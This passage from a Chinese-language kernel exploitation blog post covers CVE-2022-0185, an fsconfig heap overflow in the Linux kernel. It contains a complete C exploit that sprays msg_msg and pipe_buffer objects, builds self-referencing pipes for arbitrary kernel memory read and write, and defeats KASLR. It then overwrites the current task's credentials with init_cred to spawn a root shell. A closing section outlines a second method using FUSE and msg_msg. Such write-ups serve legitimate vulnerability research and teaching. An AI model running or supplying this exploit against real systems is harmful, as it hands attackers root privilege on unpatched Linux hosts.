!(https://s2.loli.net/2023/05/02/TYr8WlEushem2i3.png)
这里我们可以篡改 `pipe_buffer.offset` 与 `pipe_buffer.len` 来移动 pipe 的读写起始位置,从而实现无限循环的读写,但是这两个变量会在完成读写操作后重新被赋值,因此这里我们使用**三个管道**:
- 第一个管道用以进行内存空间中的任意读写,我们通过修改其 page 指针完成 :)
- 第二个管道用以修改第三个管道,使其写入的起始位置指向第一个管道
- 第三个管道用以修改第一个与第二个管道,使得第一个管道的 pipe 指针指向指定位置、第二个管道的写入起始位置指向第三个管道
通过这三个管道之间互相循环修改,我们便**实现了一个可以在内存空间中进行近乎无限制的任意读写系统** :)
### Step.IV - 提权
有了内存空间中的任意读写,提权便是非常简便的一件事情了,这里笔者选择通过修改当前进程的 task\_struct 的 cred 为 init\_cred 的方式来完成提权
`init_cred` 为有着 root 权限的 cred,我们可以直接将当前进程的 cred 修改为该 cred 以完成提权,这里iwom可以通过 `prctl(PR_SET_NAME, "");` 修改 `task_struct.comm` ,从而方便搜索当前进程的 `task_struct` 在内存空间中的位置:)
不过 `init_cred` 的符号有的时候是不在 `/proc/kallsyms` 中导出的,我们在调试时未必能够获得其地址,因此这里笔者选择通过解析 `task_struct` 的方式向上一直找到 `init` 进程(所有进程的父进程)的 `task_struct` ,从而获得 `init_cred` 的地址
### FINAL EXPLOIT
exp 如下:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <linux/mount.h>
#include <sys/prctl.h>
#include "kernelpwn.h"
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
static inline int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}
static inline int fsconfig(int fsfd, unsigned int cmd,
const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}
/**
* @brief make an out-of-bound write to the next object in kmalloc-4k,
* note that the buf before will always be appended to a ",=",
* for a ctx-legacy_data with 4095 bytes' data, the ',' will be the last byte,
* and the '=' will always be on the first byte of the object nearby
*
* @Return int - the fd for filesystem context
*/
int prepare_oob_write(void)
{
int fs_fd;
/* get a filesystem context */
fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
err_exit("FAILED to fsopen()!");
}
/**
* fulfill the ctx->legacy_data to 4095 bytes,
* so that the (0x1000 - 2 - size) overflow
*/
for (int i = 0; i < 255; i++) {
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "arttnba", 0);
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "pwnnn", 0);
return fs_fd;
}
#define MSG_SPRAY_NR 0x100
#define MSG_SZ (0x1000+0x20-sizeof(struct msg_msg)-sizeof(struct msg_msgseg))
#define OOB_READ_SZ (0x2000-sizeof(struct msg_msg)-sizeof(struct msg_msgseg))
#define MSG_TYPE 0x41414141
#define SEQ_SPRAY_NR 0x100
#define PIPE_SPRAY_NR MSG_SPRAY_NR
int msqid;
int seq_fd;
int pipe_fd;
int fs_fd, victim_qidx = -1;
/**
* @brief We don't need to leak anything here, we just need to occupy a 4k obj.
*/
void occupy_4k_obj_by_msg(void)
{
size_t buf, ktext_leak = -1;
puts("\n\033[34m\033[1m"
"Stage I - corrupting msg_msg to leak kernel info and occupy a 4k obj"
"\033[0m\n");
puts("[*] Allocating pipe...");
for (int i = 0; i < PIPE_SPRAY_NR; i++) {
if (pipe(pipe_fd) < 0) {
printf(" Failed at creating %d pipe.\n", i);
err_exit("FAILED to create pipe!");
}
}
puts("[*] Allocating msg_queue and msg_msg...");
for (int i = 0; i < (MSG_SPRAY_NR - 8); i++) {
if ((msqid = get_msg_queue()) < 0) {
printf(" Failed at allocating %d queue.\n", i);
err_exit("FAILED to create msg_queue!");
}
buf = i;
buf = i;
if (write_msg(msqid, buf, MSG_SZ, MSG_TYPE) < 0) {
printf(" Failed at writing %d queue.\n", i);
err_exit("FAILED to allocate msg_msg!");
}
}
puts("[*] Allocating fs->legacy_data...");
fs_fd = prepare_oob_write();
puts("[*] Allocating msg_queue and msg_msg...");
for (int i = (MSG_SPRAY_NR - 8); i < MSG_SPRAY_NR; i++) {
if ((msqid = get_msg_queue()) < 0) {
printf(" Failed at allocating %d queue.\n", i);
err_exit("FAILED to create msg_queue!");
}
buf = i;
buf = i;
if (write_msg(msqid, buf, MSG_SZ, MSG_TYPE) < 0) {
printf(" Failed at writing %d queue.\n", i);
err_exit("FAILED to allocate msg_msg!");
}
}
/*
puts("\n[*] Spray seq_operations...");
for (int i = 0; i < SEQ_SPRAY_NR; i++) {
if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0) {
printf(" Failed at creating %d seq_file.\n", i);
err_exit("FAILED to create seq_file!");
}
}*/
puts("[*] fsconfig() to set the size to the &msg_msg->m_ts...");
fsconfig(fs_fd, FSCONFIG_SET_STRING, "3", "1919810ARTTNBA114514", 0);
puts("[*] fsconfig() to overwrite the msg_msg->m_ts...");
fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);
puts("[*] Tring to make an oob read...");
for (int i = 0; i < MSG_SPRAY_NR; i++) {
ssize_t read_size;
read_size = peek_msg(msqid, buf, OOB_READ_SZ, 0);
if (read_size < 0) {
printf(" Failed at reading %d msg_queue.\n", i);
err_exit("FAILED to read msg_msg!");
} else if (read_size > MSG_SZ) {
printf("\033 Found victim msg_msg at \033[0m"
"%d\033[32m\033[1m msg_queue!\033[0m\n", i);
victim_qidx = i;
break;
}
}
if (victim_qidx == -1) {
err_exit("FAILED to overwrite the header of msg_msg!");
}
/*
for (int i = MSG_SZ / 8; i < (OOB_READ_SZ / 8); i++) {
if (buf > 0xffffffff81000000 && ((buf & 0xfff) == 0x4d0)) {
printf("[*] Leak kernel text addr: %lx\n", buf);
ktext_leak = buf;
break;
}
}
if (ktext_leak == -1) {
err_exit("FAILED to leak kernel text address!");
}
kernel_offset = ktext_leak - 0xffffffff813834d0;
kernel_base += kernel_offset;
printf("\033 kernel base: \033[0m%lx", kernel_base);
printf("\033[32m\033[1moffset: \033[0m%lx\n", kernel_offset);
*/
}
/* for pipe escalation */
#define SND_PIPE_BUF_SZ 96
#define TRD_PIPE_BUF_SZ 192
int orig_pid, victim_pid = -1;
int snd_orig_pid = -1, snd_vicitm_pid = -1;
int self_2nd_pipe_pid = -1, self_3rd_pipe_pid = -1, self_4th_pipe_pid = -1;
struct pipe_buffer info_pipe_buf;
void corrupting_first_level_pipe_for_page_uaf(void)
{
size_t buf;
puts("\n\033[34m\033[1m"
"Stage II - corrupting pipe_buffer to make two pipes point to same page"
"\033[0m\n");
puts("[*] Allocating 4k pipe_buffer...");
for (int i = (PIPE_SPRAY_NR - 1); i >= 0; i--) {
if (i == victim_qidx) {
continue;
}
if (read_msg(msqid, buf, MSG_SZ, MSG_TYPE) < 0) {
printf(" Failed at reading %d msg_queue.\n", i);
err_exit("FAILED to release msg_msg!");
}
if (fcntl(pipe_fd, F_SETPIPE_SZ, 0x1000 * 64) < 0) {
printf(" Failed at extending %d pipe_buffer.\n", i);
err_exit("FAILED to extend pipe_buffer!");
}
write(pipe_fd, "arttnba3", 8);
write(pipe_fd, &i, sizeof(int));
write(pipe_fd, &i, sizeof(int));
write(pipe_fd, &i, sizeof(int));
write(pipe_fd, "arttnba3", 8);
write(pipe_fd, "arttnba3", 8);/* prevent pipe_release() */
}
puts("[*] Overwriting pipe_buffer->page...");
fsconfig(fs_fd, FSCONFIG_SET_STRING, "ar", "tt", 0);
for (int i = 0; i < ((0x1000 - 8 * 4) / 16); i++) {
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "ratbant", 0);
}
puts("[*] Checking for pipe's corruption...");
for (int i = (PIPE_SPRAY_NR - 1); i >= 0; i--) {
char a3_str;
int nr;
if (i == victim_qidx) {
continue;
}
memset(a3_str, '\0', sizeof(a3_str));
read(pipe_fd, a3_str, 8);
read(pipe_fd, &nr, sizeof(int));
if (!strcmp(a3_str, "arttnba3") && nr != i) {
orig_pid = i;
victim_pid = nr;
break;
}
}
if (victim_pid == -1) {
err_exit("FAILED to corrupt pipe_buffer!");
}
printf("\033 Successfully corrupt pipe_buffer! "
"orig_pid: \033[0m%d, \033[32m\033[1mvictim pipe: \033[0m%d\n",
orig_pid, victim_pid);
}
void corrupting_second_level_pipe_for_pipe_uaf(void)
{
size_t buf, pipe_buf;
size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
puts("\n\033[34m\033[1m"
"Stage III - corrupting second-level pipe_buffer to exploit a "
"page-level UAF"
"\033[0m\n");
memset(buf, '\0', sizeof(buf));
/* let the page's ptr at pipe_buffer */
write(pipe_fd, buf, SND_PIPE_BUF_SZ*2 - 24 - 3*sizeof(int));
/* free orignal pipe's page */
puts("[*] free original pipe...");
close(pipe_fd);
close(pipe_fd);
/* try to rehit victim page by reallocating pipe_buffer */
puts("[*] fcntl() to set the pipe_buffer on victim page...");
for (int i = 0; i < PIPE_SPRAY_NR; i++) {
if (i == victim_qidx) {
continue;
}
if (i == orig_pid || i == victim_pid) {
continue;
}
if (fcntl(pipe_fd, F_SETPIPE_SZ, snd_pipe_sz) < 0) {
printf(" failed to resize %d pipe!\n", i);
err_exit("FAILED to re-alloc pipe_buffer!");
}
}
/* read victim page to check whether we've successfully hit it */
memset(pipe_buf, '\0', sizeof(pipe_buf));
read(pipe_fd, buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));
read(pipe_fd, pipe_buf, 40);
for (int i = 0; i < (40 / 8); i++) {
printf("[----data dump----][%d] %lx\n", i, pipe_buf);
}
/* I don't know why but sometimes the read will be strange :( */
if (pipe_buf == 0xffffffff) {
memcpy(&info_pipe_buf, &((char*)pipe_buf), 40);
} else {
memcpy(&info_pipe_buf, pipe_buf, 40);
}
printf("\033 info_pipe_buf->page: \033[0m%p\n"
"\033 info_pipe_buf->offset: \033[0m%x\n"
"\033 info_pipe_buf->len: \033[0m%x\n"
"\033 info_pipe_buf->ops: \033[0m%p\n"
"\033 info_pipe_buf->flags: \033[0m%x\n"
"\033 info_pipe_buf->private: \033[0m%lx\n",
info_pipe_buf.page,
info_pipe_buf.offset,
info_pipe_buf.len,
info_pipe_buf.ops,
info_pipe_buf.flags,
info_pipe_buf.private);
if ((size_t) info_pipe_buf.page < 0xffff000000000000
|| (size_t) info_pipe_buf.ops < 0xffffffff81000000) {
err_exit("FAILED to re-hit victim page!");
}
puts("\033 Successfully to hit the UAF page!\033[0m");
printf("\033 Got page leak:\033[0m %p\n", info_pipe_buf.page);
puts("");
/* construct a second-level page uaf */
puts("[*] construct a second-level uaf pipe page...");
//info_pipe_buf.offset = 8;
//info_pipe_buf.len = 0xf00;
for (int i = 0; i < 35; i++) {
write(pipe_fd, &info_pipe_buf, sizeof(info_pipe_buf));
write(pipe_fd,buf,SND_PIPE_BUF_SZ-sizeof(info_pipe_buf));
}
for (int i = 0; i < PIPE_SPRAY_NR; i++) {
char tmp_bf;
int nr;
if (i == victim_qidx) {
continue;
}
if (i == orig_pid || i == victim_pid) {
continue;
}
read(pipe_fd, &nr, sizeof(nr));
if (nr == 0x74747261) {
read(pipe_fd, tmp_bf, 4);
read(pipe_fd, &nr, sizeof(nr));
}
printf("[*] nr for %d pipe is %d\n", i, nr);
if (nr < PIPE_SPRAY_NR && i != nr) {
snd_orig_pid = nr;
snd_vicitm_pid = i;
printf("\033 Found second-level victim: \033[0m%d "
"\033[32m\033[1m, orig: \033[0m%d\n",
snd_vicitm_pid, snd_orig_pid);
break;
}
}
if (snd_vicitm_pid == -1) {
err_exit("FAILED to corrupt second-level pipe_buffer!");
}
}
/**
* VI - SECONDARY exploit stage: build pipe for arbitrary read & write
*/
void building_self_writing_pipe(void)
{
size_t buf;
size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
struct pipe_buffer evil_pipe_buf;
struct page *page_ptr;
puts("\n\033[34m\033[1m"
"Stage IV - Building a self-writing pipe system"
"\033[0m\n");
memset(buf, 0, sizeof(buf));
/* let the page's ptr at pipe_buffer */
write(pipe_fd, buf, TRD_PIPE_BUF_SZ - 24 -3*sizeof(int));
/* free orignal pipe's page */
puts("[*] free second-level original pipe...");
close(pipe_fd);
close(pipe_fd);
/* try to rehit victim page by reallocating pipe_buffer */
puts("[*] fcntl() to set the pipe_buffer on second-level victim page...");
for (int i = 0; i < PIPE_SPRAY_NR; i++) {
if (i == victim_qidx) {
continue;
}
if (i == orig_pid || i == victim_pid
|| i == snd_orig_pid || i == snd_vicitm_pid) {
continue;
}
if (fcntl(pipe_fd, F_SETPIPE_SZ, trd_pipe_sz) < 0) {
printf(" failed to resize %d pipe!\n", i);
err_exit("FAILED to re-alloc pipe_buffer!");
}
}
/* let a pipe->bufs pointing to itself */
puts("[*] hijacking the 2nd pipe_buffer on page to itself...");
evil_pipe_buf.page = info_pipe_buf.page;
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
evil_pipe_buf.ops = info_pipe_buf.ops;
evil_pipe_buf.flags = info_pipe_buf.flags;
evil_pipe_buf.private = info_pipe_buf.private;
write(pipe_fd, &evil_pipe_buf, sizeof(evil_pipe_buf));
/* check for third-level victim pipe */
for (int i = 0; i < PIPE_SPRAY_NR; i++) {
if (i == victim_qidx) {
continue;
}
if (i == orig_pid || i == victim_pid
|| i == snd_orig_pid || i == snd_vicitm_pid) {
continue;
}
read(pipe_fd, &page_ptr, sizeof(page_ptr));
if (page_ptr == evil_pipe_buf.page) {
self_2nd_pipe_pid = i;
printf("\033 Found self-writing pipe: \033[0m%d\n",
self_2nd_pipe_pid);
break;
}
}
if (self_2nd_pipe_pid == -1) {
err_exit("FAILED to build a self-writing pipe!");
}
/* overwrite the 3rd pipe_buffer to this page too */
puts("[*] hijacking the 3rd pipe_buffer on page to itself...");
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
write(pipe_fd,buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
write(pipe_fd, &evil_pipe_buf, sizeof(evil_pipe_buf));
/* check for third-level victim pipe */
for (int i = 0; i < PIPE_SPRAY_NR; i++) {
if (i == victim_qidx) {
continue;
}
if (i == orig_pid || i == victim_pid
|| i == snd_orig_pid || i == snd_vicitm_pid
|| i == self_2nd_pipe_pid) {
continue;
}
read(pipe_fd, &page_ptr, sizeof(page_ptr));
if (page_ptr == evil_pipe_buf.page) {
self_3rd_pipe_pid = i;
printf("\033 Found another self-writing pipe:\033[0m"
"%d\n", self_3rd_pipe_pid);
break;
}
}
if (self_3rd_pipe_pid == -1) {
err_exit("FAILED to build a self-writing pipe!");
}
/* overwrite the 4th pipe_buffer to this page too */
puts("[*] hijacking the 4th pipe_buffer on page to itself...");
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
write(pipe_fd,buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
write(pipe_fd, &evil_pipe_buf, sizeof(evil_pipe_buf));
/* check for third-level victim pipe */
for (int i = 0; i < PIPE_SPRAY_NR; i++) {
if (i == victim_qidx) {
continue;
}
if (i == orig_pid || i == victim_pid
|| i == snd_orig_pid || i == snd_vicitm_pid
|| i == self_2nd_pipe_pid || i== self_3rd_pipe_pid) {
continue;
}
read(pipe_fd, &page_ptr, sizeof(page_ptr));
if (page_ptr == evil_pipe_buf.page) {
self_4th_pipe_pid = i;
printf("\033 Found another self-writing pipe:\033[0m"
"%d\n", self_4th_pipe_pid);
break;
}
}
if (self_4th_pipe_pid == -1) {
err_exit("FAILED to build a self-writing pipe!");
}
puts("");
}
struct pipe_buffer evil_2nd_buf, evil_3rd_buf, evil_4th_buf;
char temp_zero_buf= { '\0' };
/**
* @brief Setting up 3 pipes for arbitrary read & write.
* We need to build a circle there for continuously memory seeking:
* - 2nd pipe to search
* - 3rd pipe to change 4th pipe
* - 4th pipe to change 2nd and 3rd pipe
*/
void setup_evil_pipe(void)
{
/* init the initial val for 2nd,3rd and 4th pipe, for recovering only */
memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));
memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));
memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0xff0;
/* hijack the 3rd pipe pointing to 4th */
evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3;
evil_3rd_buf.len = 0;
write(pipe_fd, &evil_3rd_buf, sizeof(evil_3rd_buf));
evil_4th_buf.offset = TRD_PIPE_BUF_SZ;
evil_4th_buf.len = 0;
}
void arbitrary_read_by_pipe(struct page *page_to_read, void *dst)
{
/* page to read */
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0xfff;
evil_2nd_buf.page = page_to_read;
/* hijack the 4th pipe pointing to 2nd pipe */
write(pipe_fd, &evil_4th_buf, sizeof(evil_4th_buf));
/* hijack the 2nd pipe for arbitrary read */
write(pipe_fd, &evil_2nd_buf, sizeof(evil_2nd_buf));
write(pipe_fd,
temp_zero_buf,
TRD_PIPE_BUF_SZ-sizeof(evil_2nd_buf));
/* hijack the 3rd pipe to point to 4th pipe */
write(pipe_fd, &evil_3rd_buf, sizeof(evil_3rd_buf));
/* read out data */
read(pipe_fd, dst, 0xff0);
}
void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
{
/* page to write */
evil_2nd_buf.page = page_to_write;
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0;
/* hijack the 4th pipe pointing to 2nd pipe */
write(pipe_fd, &evil_4th_buf, sizeof(evil_4th_buf));
/* hijack the 2nd pipe for arbitrary read, 3rd pipe point to 4th pipe */
write(pipe_fd, &evil_2nd_buf, sizeof(evil_2nd_buf));
write(pipe_fd,
temp_zero_buf,
TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));
/* hijack the 3rd pipe to point to 4th pipe */
write(pipe_fd, &evil_3rd_buf, sizeof(evil_3rd_buf));
/* write data into dst page */
write(pipe_fd, src, len);
}
/**
* VII - FINAL exploit stage with arbitrary read & write
*/
size_t *tsk_buf, current_task_page, current_task, parent_task, buf;
void info_leaking_by_arbitrary_pipe()
{
size_t *comm_addr;
int try_times;
puts("\n\033[34m\033[1m"
"Stage V - Leaking info by arbitrary read & write"
"\033[0m\n");
memset(buf, 0, sizeof(buf));
puts("[*] Setting up kernel arbitrary read & write...");
setup_evil_pipe();
/**
* KASLR's granularity is 256MB, and pages of size 0x1000000 is 1GB MEM,
* so we can simply get the vmemmap_base like this in a SMALL-MEM env.
* For MEM > 1GB, we can just find the secondary_startup_64 func ptr,
* which is located on physmem_base + 0x9d000, i.e., vmemmap_base page.
* If the func ptr is not there, just vmemmap_base -= 256MB and do it again.
*/
vmemmap_base = (size_t) info_pipe_buf.page & 0xfffffffff0000000;
try_times = 0;
for (;;) {
printf("[*] Checking whether the %lx is vmemmap_base..\n",vmemmap_base);
arbitrary_read_by_pipe((struct page*) (vmemmap_base + 157 * 0x40), buf);
printf("[?] Get possible data: %lx\n", buf);
if (buf == 0x2400000000) {
err_exit("READING FAILED FOR UNKNOWN REASON!");
}
if (buf > 0xffffffff81000000 && ((buf & 0xfff) == 0x030)) {
kernel_base = buf -0x030;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033 Found kernel base: \033[0m0x%lx\n"
"\033 Kernel offset: \033[0m0x%lx\n",
kernel_base, kernel_offset);
break;
}
try_times++;
if (try_times == 5) {
vmemmap_base -= 0x10000000;
try_times = 0;
}
}
printf("\033 vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);
/* now seeking for the task_struct in kernel memory */
puts("[*] Seeking task_struct in memory...");
/**
* For a machine with MEM less than 256M, we can simply get the:
* page_offset_base = heap_leak & 0xfffffffff0000000;
* But that's not always accurate, espacially on a machine with MEM > 256M.
* So we need to find another way to calculate the page_offset_base.
*
* Luckily the task_struct::ptraced points to itself, so we can get the
* page_offset_base by vmmemap and current task_struct as we know the page.
*
* Note that the offset of different filed should be referred to your env.
*/
for (int i = 1; 1; i++) {
arbitrary_read_by_pipe((struct page*) (vmemmap_base + (i-1)*0x40), buf);
arbitrary_read_by_pipe((struct page*) (vmemmap_base + i * 0x40),
&((char*)buf));
comm_addr = memmem(buf, 0x1ff0, "arttPWNnba3", 11);
if (comm_addr == NULL) {
continue;
}
if ((((size_t) comm_addr - (size_t) buf) & 0xfff) < 500) {
continue;
}
printf("[*] Found string at page: %lx\n", vmemmap_base + i * 0x40);
printf("[*] String offset: %lx\n",
((size_t) comm_addr - (size_t) buf) & 0xfff);
printf("[*] comm_addr[-2]: %lx\n", comm_addr[-2]);
printf("[*] comm_addr[-3]: %lx\n", comm_addr[-3]);
printf("[*] comm_addr[-52]: %lx\n", comm_addr[-52]);
printf("[*] comm_addr[-53]: %lx\n", comm_addr[-53]);
if ((comm_addr[-2] > 0xffff888000000000) /* task->cred */
&& (comm_addr[-3] > 0xffff888000000000) /* task->real_cred */
&& (comm_addr[-53] > 0xffff888000000000) /* task->read_parent */
&& (comm_addr[-52] > 0xffff888000000000)) {/* task->parent */
/* task->read_parent */
parent_task = comm_addr[-53];
/* task_struct::ptraced */
current_task = comm_addr[-46] - 2280;
page_offset_base = (comm_addr[-46]&0xfffffffffffff000) - i * 0x1000;
page_offset_base &= 0xfffffffff0000000;
printf("\033 Found task_struct on page: \033[0m%p\n",
(struct page*) (vmemmap_base + i * 0x40));
printf("\033 page_offset_base: \033[0m0x%lx\n",
page_offset_base);
printf("\033 current task_struct's addr: \033[0m"
"0x%lx\n\n", current_task);
break;
}
}
}
/**
* @brief find the init_task and copy something to current task_struct
*/
void privilege_escalation_by_task_overwrite(void)
{
puts("\n\033[34m\033[1m"
"Stage VI - Hijack current task_struct to get the root"
"\033[0m\n");
/* finding the init_task, the final parent of every task */
puts("[*] Seeking for init_task...");
for (;;) {
size_t ptask_page_addr = direct_map_addr_to_page_addr(parent_task);
tsk_buf = (size_t*) ((size_t) buf + (parent_task & 0xfff));
arbitrary_read_by_pipe((struct page*) ptask_page_addr, buf);
arbitrary_read_by_pipe((struct page*) (ptask_page_addr+0x40),&buf);
/* task_struct::real_parent */
if (parent_task == tsk_buf) {
break;
}
parent_task = tsk_buf;
}
init_task = parent_task;
init_cred = tsk_buf;
init_nsproxy = tsk_buf;
printf("\033 Found init_task: \033[0m0x%lx\n", init_task);
printf("\033 Found init_cred: \033[0m0x%lx\n", init_cred);
printf("\033 Found init_nsproxy:\033[0m0x%lx\n",init_nsproxy);
/* now, changing the current task_struct to get the full root :) */
puts("[*] Escalating ROOT privilege now...");
current_task_page = direct_map_addr_to_page_addr(current_task);
arbitrary_read_by_pipe((struct page*) current_task_page, buf);
arbitrary_read_by_pipe((struct page*) (current_task_page+0x40), &buf);
tsk_buf = (size_t*) ((size_t) buf + (current_task & 0xfff));
tsk_buf = init_cred;
tsk_buf = init_cred;
tsk_buf = init_nsproxy;
arbitrary_write_by_pipe((struct page*) current_task_page, buf, 0xff0);
arbitrary_write_by_pipe((struct page*) (current_task_page+0x40),
&buf, 0xff0);
puts("[+] Done.\n");
}
int msg_pipe;
void signal_handler(int nr)
{
printf(" Receive signal %d!\n", nr);
sleep(114514);
}
int main(int argc, char **argv, char **envp)
{
puts("[*] CVE-2022-0185 - exploit by arttnba3");
signal(SIGSEGV, signal_handler);
pipe(msg_pipe);
if (!fork()) {
/* create new namespace to get CAP_SYS_ADMIN */
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) < 0) {
err_exit("FAILED to unshare()!");
}
bind_core(0);
occupy_4k_obj_by_msg();sleep(1);
corrupting_first_level_pipe_for_page_uaf();sleep(1);
corrupting_second_level_pipe_for_pipe_uaf();sleep(1);
building_self_writing_pipe();sleep(1);
info_leaking_by_arbitrary_pipe();sleep(1);
privilege_escalation_by_task_overwrite();sleep(1);
write(msg_pipe, "arttnba3", 8);
sleep(114514);
} else {
char ch;
if (prctl(PR_SET_NAME, "arttPWNnba3") < 0) {
err_exit("FAILED to prctl()!");
}
read(msg_pipe, &ch, 1);
}
puts("[*] checking for root...");
get_root_shell();
return 0;
}
```
运行即可完成提权
!(https://s2.loli.net/2023/05/28/945bYFSHmBfLKr7.png)
## 方法二、结合 FUSE + `msg_msg` 进行任意地址写
现在我们有了任意长度的堆溢出,而可溢出对象用的分配 flag 为 `GFP_KERNEL`、大小为 4k(一张内存页大小),那么我们不难想到可以基于[我们的老朋友 System V 消息队列结构体](https://arttnba3.cn/2021/11/29/PWN-0X02-LINUX-KERNEL-PWN-PART-II/#0x07-system-V-%E6%B6%88%E6%81%AF%E9%98%9F%E5%88%97%EF%BC%9A%E5%86%85%E6%A0%B8%E4%B8%AD%E7%9A%84%E2%80%9C%E8%8F%9C%E5%8D%95%E5%A0%86%E2%80%9D)来完成利用
### Step.I - 堆喷 msg\_msg,覆写 m\_ts 字段进行越界读取
我们先来复习一下消息队列中一条消息的基本结构,当我们调用 msgsnd 系统调用在指定消息队列上发送一条指定大小的 message 时,在内核空间中会创建这样一个结构体作为信息的 header:
```c
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
```
当我们在单个消息队列上发送一条消息时,若大小**不大于【一个页面大小 - header size】**,则仅使用一个 `msg_msg` 结构体进行存储,而当我们单次发送**大于【一个页面大小 - header size】**大小的消息时,内核会额外补充添加 `msg_msgseg` 结构体,其与 `msg_msg` 之间形成如下单向链表结构,而单个 `msg_msgseg` 的大小最大为一个页面大小,超出这个范围的消息内核会额外补充上更多的 `msg_msgseg` 结构体,链表最后以 NULL 结尾:
!(https://s2.loli.net/2022/02/24/5IcVxRaFQtg3HCW.png)
由于我们有越界写,那么我们不难想到的是我们可以将 `msg_msg` 与 `ctx->legacy_data` 堆喷到一起,之后越界写入相邻 `msg_msg` 的 header 将 `m_ts` 改大,之后我们再使用 `msgrcv()` 读取消息,便能读取出超出该消息范围的内容,从而完成越界读取;由于我们的越界写入会破坏 `msg_msg` 头部的双向链表,因此在读取时我们应当使用 `MSG_COPY` 以保持消息在队列上不会被 unlink
由于 `ctx->legacy_data` 的大小已经是 4k 了,故我们考虑在 `msg_msgseg` 上完成越界读取,由于 `msgrcv()` 拷贝消息时以单链表结尾 NULL 作为终止,故我们最多可以在 `msg_msgseg` 上读取将近一张内存页大小的数据,因此我们考虑让 `msg_msgseg` 的消息尽量小,从而让我们能够越界读取到更多的 object
接下来考虑如何使用越界读取进行数据泄露,这里我们考虑堆喷其他的可以泄露数据的小结构体与我们的 `msg_msgseg` 混在一起,从而使得我们越界读取时可以直接读到我们堆喷的这些小结构体,从而泄露出内核代码段加载基地址,那么这里笔者考虑堆喷 (https://arttnba3.cn/2021/11/29/PWN-0X02-LINUX-KERNEL-PWN-PART-II/#0x02-seq-file-%E7%9B%B8%E5%85%B3) 来完成数据的泄露
为了提高越界写入 `msg_msg` 的成功率,笔者选择先堆喷一部分 `msg_msg`,之后分配`ctx->legacy_data` , 接下来再堆喷另一部分 `msg_msg`为了提高数据泄露的成功概率,笔者选择在每次在消息队列上发送消息时都喷一个 `seq_operations`,在完成消息队列的发送之后再喷射大量的 `seq_operations`
不过需要注意的是我们的越界写并不一定能写到相邻的 `msg_msg`,也可能写到其他结构体或是 free object,若 free object 的 next 指针刚好位于开头被我们 overwrite 了,则会在后面的分配中导致 kernel panic
### Step.II - 堆喷 msg\_msg,利用 FUSE 在消息拷贝时覆写 next 字段进行任意地址写
接下来我们该考虑如何进行提权的工作了,通过覆写 `msg_msg` 的方式我们同样可以进行任意地址写的操作,由于消息发送时在 `do_msgsnd()` 当中是先分配对应的 `msg_msg` 与 `msg_msgseg` 链表作为消息的存储空间再进行拷贝,那么我们不难想到的是我们可以先发送一个大于一张内存页大小的消息,这样会分配一个 4k 的 `msg_msg` 与一个 `msg_msgseg` ,在 `do_msgsnd()` 中完成空间分配后在 `msg_msg` 上进行数据拷贝的时候,我们在另一个线程当中使用越界写更改 `msg_msg` 的 header,使其 next 指针更改到我们想要写入数据的地方,当 `do_msgsnd()` 开始将数据拷贝到 `msg_msgseg` 上时,由于 `msg_msg` 的 next 指针已经被我们所更改,故其会将数据写入到我们指定的地址上,从而完成任意地址写
!(https://s2.loli.net/2023/01/10/JxidQjuHn6ZKs4l.png)
不过 `do_msgsnd()` 的所有操作在一个系统调用中完成,因此这需要我们进行条件竞争,而常规的条件竞争通常很难成功,那么我们不难想到的是我们可以利用 (https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#userfaultfd%EF%BC%88may-obsolete%EF%BC%89) 让`do_msgsnd()` 在拷贝数据到`msg_msg`时触发用户空间的缺页异常,陷入到我们的 page fault handler 中,我们在 handler 线程中再进行越界写,之后恢复到原线程,这样利用的成功率便大大提高了
!(https://i.loli.net/2021/09/08/i4C7oOvHdG2RqUm.png)
但是自 kernel 版本 5.11 起**非特权用户无法使用 userfaultfd**,而该漏洞影响的内核版本包括 5.11以上的版本,因此我们需要使用更为通用的办法——**用户空间文件系统**(filesystem in userspace,(https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#FUSE-race))可以被用作 userfaultfd 的替代品,帮助我们完成条件竞争的利用
!(https://s2.loli.net/2023/01/10/9q3VSGepCnKzbuB.png)
